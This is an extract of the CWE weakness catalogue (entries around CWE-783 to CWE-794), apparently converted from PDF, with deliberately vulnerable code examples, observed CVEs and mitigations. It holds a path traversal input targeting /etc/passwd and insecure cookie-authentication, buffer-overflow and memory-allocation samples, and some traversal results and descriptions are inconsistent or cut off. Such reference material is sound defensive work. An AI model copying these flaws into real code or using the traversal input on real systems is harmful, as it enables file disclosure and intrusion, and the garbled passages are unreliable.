**C Example:**

Good Code

```
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
...

```

**Example 2:**

In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

**Java Example:**

Bad Code

```
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

**Java Example:**

Good Code

```
...
returnROI = (currentValue - initialInvestment) / initialInvestment;
...

```

Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

**Observed Examples**

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.
CVE-2008-2516	Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)".

**Potential Mitigations**

**Implementation**

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

**Relationships**

Nature	Type	ID	Name	Fit	Page
ChildOf		569	Expression Issues	<input checked="" type="checkbox"/>	906
ChildOf		670	Always-Incorrect Control Flow Implementation	<input type="checkbox"/>	1037
ChildOf		737	CERT C Secure Coding Section 03 - Expressions (EXP)	<input type="checkbox"/>	1131
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP00-C	Exact	Use parentheses for precedence of operation

**References**

CERT. "EXP00-C. Use parentheses for precedence of operation". < <https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Precedence", Page 287.. 1st Edition. Addison Wesley. 2006.

## CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Weakness ID: 784 (Weakness Variant)

Status: Draft

### Description

#### Summary

The application uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.

#### Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

##### Architectural Paradigms

- Web-based (*Often*)

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

##### Gain privileges / assume identity

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.

#### Likelihood of Exploit

High

#### Demonstrative Examples

##### Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

##### Java Example:

*Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

##### Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

##### PHP Example:

*Bad Code*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
```

```

}
}
DisplayMedicalHistory($_POST['patient_ID']);

```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

### Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

#### Java Example:

*Bad Code*

```

Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
}

```

### Observed Examples

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1.
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK."
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value.
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.

### Potential Mitigations

#### Architecture and Design

Avoid using cookie data for a security-related decision.

#### Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

#### Architecture and Design

Add integrity checks to detect tampering.

#### Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

### Relationships

Nature	Type	ID	Name	☑	Page
ChildOf	<b>C</b>	254	Security Features	699	452
ChildOf	<b>C</b>	442	Web Problems	699	755
ChildOf	<b>B</b>	565	Reliance on Cookies without Validation and Integrity Checking	<b>699</b>	901
ChildOf	<b>B</b>	807	Reliance on Untrusted Inputs in a Security Decision	<b>1000</b>	1239

### References

Steve Christey. "Unforgivable Vulnerabilities". 2007-08-02. < <http://cve.mitre.org/docs/docs-2007/unforgivable.pdf> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 13, "Sensitive Data in Cookies and Fields" Page 435. 2nd Edition. Microsoft. 2002.

### Maintenance Notes

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

## CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Weakness ID: 785 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH\_MAX.

#### Extended Description

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Modify memory

#### Execute unauthorized code or commands

#### DoS: crash / exit / restart

### Demonstrative Examples

#### C Example:

Bad Code

```
char *createOutputDirectory(char *name) {
    char outputDirectoryName[128];
    if (getCurrentDirectory(128, outputDirectoryName) == 0) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, "output")) {
        return null;
    }
    if (!PathAppend(outputDirectoryName, name)) {
        return null;
    }
    if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
        return null;
    }
    return StrDup(outputDirectoryName);
}
```

In this example the function creates a directory named "output\

## Potential Mitigations







### Implementation

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

### Background Details

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX\_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	699	18
				<b>700</b>	
ChildOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	699	234
				1000	
ChildOf		632	Weaknesses that Affect Files or Directories	<b>631</b>	981
ChildOf		633	Weaknesses that Affect Memory	631	981
ChildOf		676	Use of Potentially Dangerous Function	<b>1000</b>	1044
ChildOf		972	SFP Secondary Cluster: Faulty String Expansion	<b>888</b>	1381

### Affected Resources

- Memory
- File/Directory

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Often Misused: File System
Software Fault Patterns	SFP9	Faulty String Expansion

### White Box Definitions

A weakness where code path has:

1. end statement that passes buffer to path manipulation function where the size of the buffer is smaller than expected by the path manipulation function

### Maintenance Notes

Much of this entry was originally part of CWE-249, which was deprecated for several reasons.

This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

# CWE-786: Access of Memory Location Before Start of Buffer

**Weakness ID:** 786 (*Weakness Base*)

**Status:** Incomplete

## Description

### Summary

The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

### Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

### Common Consequences

**Confidentiality****Read memory**

For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

**Integrity****Availability****Modify memory****DoS: crash / exit / restart**

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

**Modify memory****Execute unauthorized code or commands**

If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.

**Demonstrative Examples****Example 1:**

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

**C/C++ Example:***Bad Code*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
    // copy input string to a temporary string
    char message[length+1];
    int index;
    for (index = 0; index < length; index++) {
        message[index] = strMessage[index];
    }
    message[index] = '\0';
    // trim trailing whitespace
    int len = index-1;
    while (isspace(message[len])) {
        message[len] = '\0';
        len--;
    }
    // return string without trailing whitespace
    retMessage = message;
    return retMessage;
}
```

However, this function can cause a buffer overwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

**Example 2:**

The following example asks a user for an offset into an array to select an item.

**C Example:***Bad Code*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

### Example 3:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

#### C Example:

Bad Code

```
int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

### Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2004-2620	Buffer underflow due to mishandled special characters
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow.
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow.
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
ParentOf		124	Buffer Underwrite ('Buffer Underflow')	<b>699</b> <b>1000</b>	250
ParentOf		127	Buffer Under-read	<b>699</b> <b>1000</b>	256
MemberOf		884	CWE Cross-section	<b>884</b>	1319

## CWE-787: Out-of-bounds Write

Weakness ID: 787 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software writes data past the end, or before the beginning, of the intended buffer.

#### Extended Description

This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

### Common Consequences

#### Integrity

#### Availability

#### Confidentiality

#### Modify memory

#### DoS: crash / exit / restart

#### Execute unauthorized code or commands

### Demonstrative Examples

#### Example 1:

The following code attempts to save four different identification numbers into an array.



**C Example:**

Bad Code

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

**Example 2:**

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:









**C Example:**

Bad Code

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
ParentOf		121	Stack-based Buffer Overflow	699 1000	242
ParentOf		122	Heap-based Buffer Overflow	699 1000	245
ParentOf		124	Buffer Underwrite ('Buffer Underflow')	699 1000	250
CanFollow		822	Untrusted Pointer Dereference	1000	1250
CanFollow		823	Use of Out-of-range Pointer Offset	1000	1252
CanFollow		824	Access of Uninitialized Pointer	1000	1254
CanFollow		825	Expired Pointer Dereference	1000	1255

**CWE-788: Access of Memory Location After End of Buffer**

Weakness ID: 788 (Weakness Base)

Status: Incomplete

**Description****Summary**

The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

**Extended Description**

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.

**Common Consequences**

**Confidentiality****Read memory**

For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

**Integrity****Availability****Modify memory****DoS: crash / exit / restart**

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

**Modify memory****Execute unauthorized code or commands**

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

**Demonstrative Examples****Example 1:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:***Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

**C Example:***Bad Code*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
```

```
...
}
```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

#### C Example:

*Bad Code*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Example 4:

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

#### C/C++ Example:

*Bad Code*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
    }
}
```

```

success = processMessage(message);
}
return success;
}

```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information
CVE-2009-0558	attacker-controlled array index leads to code execution
CVE-2009-0689	large precision value in a format string triggers overflow
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>699</b> <b>1000</b>	226
ParentOf		121	Stack-based Buffer Overflow	<b>699</b> <b>1000</b>	242
ParentOf		122	Heap-based Buffer Overflow	<b>699</b> <b>1000</b>	245
ParentOf		126	Buffer Over-read	<b>699</b> <b>1000</b>	254
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<b>884</b>	1319

## CWE-789: Uncontrolled Memory Allocation

Weakness ID: 789 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.

#### Time of Introduction

- Implementation
- Architecture and Design

#### Applicable Platforms

##### Languages

- C
- C++
- All

##### Platform Notes

#### Common Consequences

##### Availability

##### DoS: resource consumption (memory)

Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.

#### Likelihood of Exploit

Low

#### Demonstrative Examples

##### Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

*Bad Code*

```
unsigned int size = GetUntrustedInt();  
/* ignore integer overflow (CWE-190) for this example */  
unsigned int totBytes = size * sizeof(char);  
char *string = (char *)malloc(totBytes);  
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

### Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

*Bad Code*

```
unsigned int size = GetUntrustedInt();  
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

### Example 3:

The following code obtains an untrusted number that it used as an index into an array of messages.

#### Perl Example:

*Bad Code*

```
my $num = GetUntrustedNumber();  
my @messages = ();  
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works. If \$num is a large value such as 2147483648 ( $1 \ll 31$ ), then the assignment to \$messages[\$num] would attempt to create a very large array, then eventually produce an error message such as:  
Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

### Observed Examples

Reference	Description
CVE-2004-2589	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation
CVE-2006-3791	large key size in game program triggers crash when a resizing function cannot allocate enough memory
CVE-2008-0977	large value in a length field leads to memory consumption and crash when no more memory is available
CVE-2008-1708	memory consumption and daemon exit by specifying a large value in a length field

### Potential Mitigations

#### Implementation

#### Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

**Operation**

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	20	Improper Input Validation	1000	18
CanPrecede	<b>B</b>	476	NULL Pointer Dereference	1000	798
ChildOf	<b>B</b>	770	Allocation of Resources Without Limits or Throttling	<b>699</b> <b>1000</b>	1175
<i>CanFollow</i>	<b>B</b>	129	<i>Improper Validation of Array Index</i>	1000	258

**Relationship Notes**

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	35	SOAP Array Abuse

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "Resource Limits", Page 574.. 1st Edition. Addison Wesley. 2006.

## CWE-790: Improper Filtering of Special Elements

**Weakness ID:** 790 (*Weakness Class*)

**Status:** Incomplete

**Description****Summary**

The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

**Common Consequences****Integrity****Unexpected state****Demonstrative Examples**

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:**

*Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Attack*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Result*

```
../../../../etc/passwd
```



This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		138	Improper Neutralization of Special Elements	1000	285
ParentOf		791	Incomplete Filtering of Special Elements	1000	1214

## CWE-791: Incomplete Filtering of Special Elements

Weakness ID: 791 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

### Common Consequences

#### Integrity

#### Unexpected state

### Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

#### Perl Example:

Bad Code

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../etc/passwd
```




This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		790	Improper Filtering of Special Elements	1000	1213
ParentOf		792	Incomplete Filtering of One or More Instances of Special Elements	1000	1214
ParentOf		795	Only Filtering Special Elements at a Specified Location	1000	1217

## CWE-792: Incomplete Filtering of One or More Instances of Special Elements

Weakness ID: 792 (Weakness Variant)

Status: Incomplete



**Description****Summary**

The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

**Extended Description**

Incomplete filtering of this nature involves either  
 only filtering a single instance of a special element when more exist, or  
 not filtering all instances or all elements where multiple special elements exist.

**Common Consequences****Integrity****Unexpected state****Demonstrative Examples**

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:***Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Attack*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Result*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Result*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		791	Incomplete Filtering of Special Elements	<b>1000</b>	1214
ParentOf		793	Only Filtering One Instance of a Special Element	<b>1000</b>	1215
ParentOf		794	Incomplete Filtering of Multiple Instances of Special Elements	<b>1000</b>	1216

**CWE-793: Only Filtering One Instance of a Special Element****Weakness ID:** 793 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

**Extended Description**

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

**Common Consequences****Integrity****Unexpected state**

## Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

### Perl Example:

*Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Attack*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Result*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Result*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## Relationships

Nature	Type	ID	Name	Score	Page
ChildOf	Downward	792	Incomplete Filtering of One or More Instances of Special Elements	1000	1214

# CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

Weakness ID: 794 (*Weakness Variant*)

Status: Incomplete

## Description

### Summary

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

### Extended Description

Incomplete filtering of this nature may be applied to sequential elements (special elements that appear next to each other) or non-sequential elements (special elements that appear multiple times in different locations).

## Common Consequences

### Integrity

#### Unexpected state

## Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

### Perl Example:

*Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

### Relationships

Nature	Type	ID	Name	CVSS	Page
